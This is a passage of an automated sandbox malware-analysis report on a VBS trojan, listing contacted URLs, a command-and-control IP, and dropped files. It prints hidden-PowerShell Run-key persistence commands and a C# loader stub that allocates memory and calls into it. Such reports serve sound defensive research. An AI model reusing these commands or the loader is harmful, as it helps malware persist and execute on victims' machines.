https://onedrive.live.com/download?cid=2B80EFEE51D0620B&resid=2B80EFEE51D0620B%21266&authkey=AEVbDmT	CasPol.exe, 00000025.00000002.268398436566.0000000000B60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/)M	CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.266590681721.0000000005509000.00000004.00000800.00020000.00000000.sdmp	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.266590681721.0000000005509000.00000004.00000800.00020000.00000000.sdmp	false		high
http://microsoft.co	CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 0000000A.00000003.266207346947.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kadnjg.bn.files.1drv.com/	CasPol.exe, 00000010.00000003.266840482525.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266562042776.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266561876381.00000000016C0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266840397089.00000000016C0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266551480695.00000000016C1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267134796205.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267399589907.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.267057712404.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000010.00000003.266971022965.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268392159029.0000000001158000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268394477912.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401655086.0000000001208000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kadnjg.bn.files.1drv.com/_Event_	CasPol.exe, 00000022.00000002.268394477912.00000000011ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.266590681721.0000000005509000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/y4mamlucM5WMHi-wCNvNvuQyTGytao2V_4itsZyI16BJ46ANIo0HsJrTQX8HYAUh18L	CasPol.exe, 00000022.00000003.268306189563.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/	CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268392159029.0000000001158000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000003.268306189563.0000000001212000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/EM	CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/z.3	CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.m	CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kadnjg.bn.files.1drv.com/y4m3WEg51wPpMvwOBDGQxc03AePN0yY86OyXcDJxrS2Yo4kmiHKJqicrFmOOu5sbK8F	CasPol.exe, 00000025.00000003.268315507584.0000000001285000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000003.268319359560.0000000001285000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268402634074.0000000001275000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000A.00000002.266588787753.00000000053B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.268515140389.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.268357616536.0000000004BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268352485259.0000000005351000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kadnjg.bn.files.1drv.com/y	CasPol.exe, 00000010.00000003.266551551961.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.266604273172.000000000641A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.266588787753.00000000053B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.268515140389.0000000004D71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.268357616536.0000000004BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268352485259.0000000005351000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/x0?b	CasPol.exe, 00000022.00000002.268393588039.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.140.53.143	tochukwu1122.ddns.net	Sweden		209623	DAVID_CRAIGGG	true

Private

IP
192.168.11.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	562140
Start date:	28.01.2022
Start time:	15:00:02
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 20m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IMG 0045434.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winVBS@44/42@38/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 312 Number of non-executed functions: 17
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .vbs

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 13.91.129.128, 13.107.43.13, 13.107.42.12, 13.107.42.13
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, odc-web-brs.onedrive.akadns.net, client.wns.windows.com, bn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-web-geo.onedrive.akadns.net, odc-bn-files-brs.onedrive.akadns.net, ctldl.windowsupdate.com, wdcp.microsoft.com, wd-prod-cp-us-west-2-fe.westus.cloudapp.azure.com, arc.msn.com, wd-prod-cp.trafficmanager.net, l-0004.dc-msedge.net, odc-bn-files-geo.onedrive.akadns.net, l-0004.l-msedge.net, wdcpalt.microsoft.com, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net, l-0003.l-msedge.net, img-prod-cms-rt-microsoft-com.akamaized.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:03:07	API Interceptor	168x Sleep call for process: powershell.exe modified
15:03:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Avel cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
15:03:52	API Interceptor	3406x Sleep call for process: CasPol.exe modified
15:03:58	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run DSL Monitor C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe
15:04:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Avel cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
15:04:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run DSL Monitor C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.140.53.143	abGR3dZ5Gh.exe	Get hash	malicious	Browse
185.140.53.143	purchase order 0234.exe	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DAVID_CRAIGGG	iFzY8lWcRW.exe	Get hash	malicious	Browse	91.193.75.132
	Order Specification.exe	Get hash	malicious	Browse	185.140.53.138
	Order Sheet.exe	Get hash	malicious	Browse	185.140.53.138
	lyIr68koBh.exe	Get hash	malicious	Browse	91.193.75.132
	Z2S2dzpoGP.exe	Get hash	malicious	Browse	91.193.75.135
	Enquiry #2601.exe	Get hash	malicious	Browse	185.140.53.178
	WSb9Mi1684.exe	Get hash	malicious	Browse	91.193.75.135
	13j9kRyDgJ.exe	Get hash	malicious	Browse	185.140.53.10
	IMG_8100034200035389923.exe	Get hash	malicious	Browse	185.140.53.147
	PFI0987YUIKN.exe	Get hash	malicious	Browse	185.140.53.198
	INQUIRY.exe	Get hash	malicious	Browse	185.140.53.6
	SMS Report.exe	Get hash	malicious	Browse	185.140.53.134
	Order confirmation.jar	Get hash	malicious	Browse	91.193.75.133
	IMG_4100047645799946532.exe	Get hash	malicious	Browse	185.140.53.147
	psrrNeG1IA.exe	Get hash	malicious	Browse	185.140.53.136
	New PO #2022.exe	Get hash	malicious	Browse	185.140.53.178
	Confirm Invoice Payment.pdf.exe	Get hash	malicious	Browse	185.140.53.136
	T4EkbDIoVAPcUMQ.exe	Get hash	malicious	Browse	185.140.53.15
	Invoice 20221901.exe	Get hash	malicious	Browse	185.140.53.178
	sFW10IJn17.exe	Get hash	malicious	Browse	185.140.53.146

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	SMK C4S2102120001.exe	Get hash	malicious	Browse
	Payment Schedule.exe.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	525
Entropy (8bit):	5.254784708705693
Encrypted:	false
SSDEEP:	12:Q3LaJU2kf0U29sEi1B0U2uk6CSbyU1k70Ug+9es9Ml9tv:MLF2kN29sEi52GXGzHCT
MD5:	B05599616137D1608BDB0A76FB228E5A
SHA1:	D96A3E6933BC5CB599987617734C419D2AABDF4B
SHA-256:	F9E405798EBE27D8A6C19C7EA46ADFFEC6E9D371BA72AD7A09B03FB2D57A3DDF
SHA-512:	9603EABC4B1F63D3BCED5DC6BB8404D42408727CEAB9ECD4420D62C87EB8DA9ED6F2C25CEF9E9216DFF5B7659EFBEB4E0AFFD564EC31389FEB9078D3F445F3C5
Malicious:	false
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\06e54f5fa1f15dd558eaf403cdcacad3\System.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\5085e86702d2182b0d9417971c65ded2\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\ae952be8fa59744d6333aed90b72f162\System.Windows.Forms.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\411899ceac416b47200d4fad92e2b9d4\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\dslmon.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:QHXMKas:Q3Las
MD5:	B3AC9D09E3A47D5FD00C37E075A70ECB
SHA1:	AD14E6D0E07B00BD10D77A06D68841B20675680B
SHA-256:	7A23C6E7CCD8811ECDF038D3A89D5C7D68ED37324BAE2D4954125D9128FA9432
SHA-512:	09B609EE1061205AA45B3C954EFC6C1A03C8FD6B3011FF88CF2C060E19B1D7FD51EE0CB9D02A39310125F3A66AA0146261BDEE3D804F472034DF711BC942E316
Malicious:	false
Preview:	1,"fusion","GAC",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.841989710132343
Encrypted:	false
SSDEEP:	192:Qxoe5GVsm5emddVFn3eGOVpN6K3bkkjo5dgkjDt4iWN3yBGHD9smqdcU6C5pOWik:7hVoGIpN6KQkj22kjh4iUxgrib4J
MD5:	677C4E3A07935751EA3B092A5E23232F
SHA1:	0BB391E66C6AE586907E9A8F1EE6CA114ACE02CD
SHA-256:	D05D82E08469946C832D1493FA05D9E44926911DB96A89B76C2A32AC1CBC931F
SHA-512:	253BCC6033980157395016038E22D3A49B0FA40AEE18CC852065423BEF773BF000EAAEB0809D0B9C4E167883288B05BA168AF0A756D6B74852778EAAA30055C2
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	15924
Entropy (8bit):	5.579233339626358
Encrypted:	false
SSDEEP:	384:1gUWXIBH6+LniGseBicz3mvIg3IfQnRmy9P7eMxMIeZhi:ICH6iMeocz3IFIf7i7z6XE
MD5:	9FC7DF348A8A939BAAE3E2FE41F05E03
SHA1:	F2DA8352C25E4D28191A99E6F8CE6DA8107B76B4
SHA-256:	946197391513F72EA60011539850685758DE7A270487F36B9C9E4E645B35087D
SHA-512:	DF69327BCD309A0CD120AD4B4CCB2A09896873199BF14ECC4CFA99997C8A82415E96D4A9553F54920338F942DC29D892DBE900509AFD7C96E9322747CF130DE2
Malicious:	false
Preview:	@...e...........V.........V.............>............@..........H...............o..b~.D.poM...2..... .Microsoft.PowerShell.ConsoleHostD................g$H..K..I.............System.Management.Automation4...............-..Q...H..g............System.Core.0..................)W_tD...B..T.........System..4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@...............8Ak....G.......j........System.DirectoryServices<.................YS.eE..9.G...........System.Management...4...................2.8F.....S.".......System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementD....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\3rumnuxb.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	725
Entropy (8bit):	5.0360659051782966
Encrypted:	false
SSDEEP:	12:V/DGrcXvLZCGNVulF4fVtKMLr3F8aKGWJVIyLq+OwQiP2IE0wn:JocXvLZCGLuwNpr3F8rGiWP+QL
MD5:	9B3EA1C2DE62E6D7ED2BFCC1920981F2
SHA1:	74BCDC2E2BBFFBE1482E6F04EC22F99397CE6823
SHA-256:	8D956F943B2F42AD00C23891D7B9A19A423140B88962345019B920EF1C3BC690
SHA-512:	805C137EF0A218A5400B8D005603A80E5B9F8965CA2C7F618AC65923BB08812F1D922DCE4CACD3E882E8F72947D5C2B661AB1F644A4512CCDEB02AD04AB09D02
Malicious:	false
Preview:	.using System;..using System.Runtime.InteropServices;..public static class Sludrech1..{..[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);..[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);..[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);..[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);..}

C:\Users\user\AppData\Local\Temp\3rumnuxb.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.231497045943381
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23fekUzxs7+AEszICN23fekmA:p37Lvkmb6KmhUWZE7hR
MD5:	8AB1231C5533DC4003782EF339493AEF
SHA1:	9716CAF16204E20DBA2D43A87B91D4C8C542C99D
SHA-256:	D7D06DE1946C53FB9A7CDE3CD1A462F85D5B2EE04EF9926C6AA6D077B31F6DD7
SHA-512:	10AD95D2EE05954291DF4280FDDEA46FBD32D39FBD753883057BCBF8BF892C1D80A08B276208675288EAF66907B53EE8D843D40027C8E2FE9A91D9EDE893F123
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3rumnuxb.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3rumnuxb.0.cs"

C:\Users\user\AppData\Local\Temp\3rumnuxb.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	3.1392039481478915
Encrypted:	false
SSDEEP:	24:etGSztoDTc8cTyqvCxCIgp0r2ZIpHUXStkF0J9J9YoWI+ycuZhNn4akSGtPNnq:6mPvcTja8I/NQF69J9YD1uln4a3G3q
MD5:	A41E9BE0C887AD8D5B067BAACB5F332A
SHA1:	C8A47F8086E2B883B14E84F9B62E66D9C4EACDF4
SHA-256:	A128610AEFFA2C4E445DE19443C3D6AAFEF42C8503E82473D47C7E311E08EFEC
SHA-512:	80443D0A04FDD615D4C2E03EB72C92A3ECA1BE878DF0934D8005B4A1C2AA6B47BC4F34BFCF4B5F4580984EF8A544C96791038AAB14CA2A6596100939E2D93041
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2..a...........!................^%... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@%......H.......P ..............................................................BSJB............v4.0.30319......l.......#~.. .......#Strings....<.......#US.D.......#GUID...T...l...#Blob...........G.........%3............................................................1.*...{.[.....[.......................................... 8............ P............ \.!.......... e.+.......u.............................................................................................................

C:\Users\user\AppData\Local\Temp\3rumnuxb.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
Category:	modified
Size (bytes):	848
Entropy (8bit):	5.308374135618174
Encrypted:	false
SSDEEP:	24:Aqd3ka6Kmh1E7h0Kax5DqBVKVrdFAMBJTH:Aika6Ph1E7h0K2DcVKdBJj
MD5:	9AE77D8674BB4C20D58FA07CD4FEDB19
SHA1:	942E00499685D44273A2C284109DC59ECE760315
SHA-256:	76E068D1B5CEBE7849F411814B7ED8E277277A12A174BC7AD87E7CB40F3A39AC
SHA-512:	A54082E51047D9C6B2C3199774B5AD31E61036EF46EE932EC47E430CC29C89B388290368A96AF8F24EA87ABF986A22A869D6F3CD508A9404D04E1D4DCAB07EE4
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\3rumnuxb.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3rumnuxb.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\CSC12B2DF4544A1496EA7EB89E07B3D3FC6.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.092201907528747
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryoak7YnqqOPN5Dlq5J:+RI+ycuZhNGakSOPNnqX
MD5:	57A11DD5086F734BCAA4DEAFBA30A1FA
SHA1:	633B5AE9C9FE0CDAF866F2EAD672EFA9A86F68F5
SHA-256:	B2A960B460E827BD2CE1CED3C6F52F2379EAEC1240450DBD92FC8C7F94288C1E
SHA-512:	F70DC1CA46751FCBC2C0FDD5F54CC54170273410087A349C953512BE69853C2AED80893BF65332AE2371820C34D537693919D53BD0BEF4378A046359A84DC26E
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...k.a.r.5.i.s.z.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...k.a.r.5.i.s.z.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\CSCAB9D447D8E2849BB9EF6D8A3F7C9ADB.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0969041138287388
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryswlsak7Ynqq9wlhPN5Dlq5J:+RI+ycuZhN6TakS98PNnqX
MD5:	09A7EE8499BEA90C2B655F725DC2F426
SHA1:	EE867463F5A5A3DD51A5EE1658A163178BF2BEA1
SHA-256:	E14F2D8BB62CAFEAEBCDBB2C2DACAC603F342CD3E216929057A81CE17DDEF2DE
SHA-512:	FF350DA24FA9C655E4A0B812330640EB5A2E9F2379427FC74F7E34D80A43BF28E024B3EA719A3AAFF969D23523C895338C4AB0F08DDF332F735876D17C3287FF
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...k.x.e.a.y.l.3.s...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...k.x.e.a.y.l.3.s...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\CSCB1B043D375E64A49ADE1599E795DF7E1.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.10070346829808
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryN4ak7YnqqGtPN5Dlq5J:+RI+ycuZhNn4akSGtPNnqX
MD5:	F22BF88BA03B294E0CEBD397676EB4AA
SHA1:	3CCD1BC41101E615960A1CB0AA7642A124198743
SHA-256:	C8954EABB42177FDDE73073A43C9616A717F560F7CEA8D89D5B2B4A304CE1C30
SHA-512:	670D4883EE08480636C26DAE05A6CC9159566B1F94027CAD25C58D3A7ADD2F1D1B928C0BFE36A486DF8874297E7266F75ED53130271B69E1CB5DA9842755D9EA
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.r.u.m.n.u.x.b...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.r.u.m.n.u.x.b...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES1FFF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x486, 9 symbols
Category:	dropped
Size (bytes):	1324
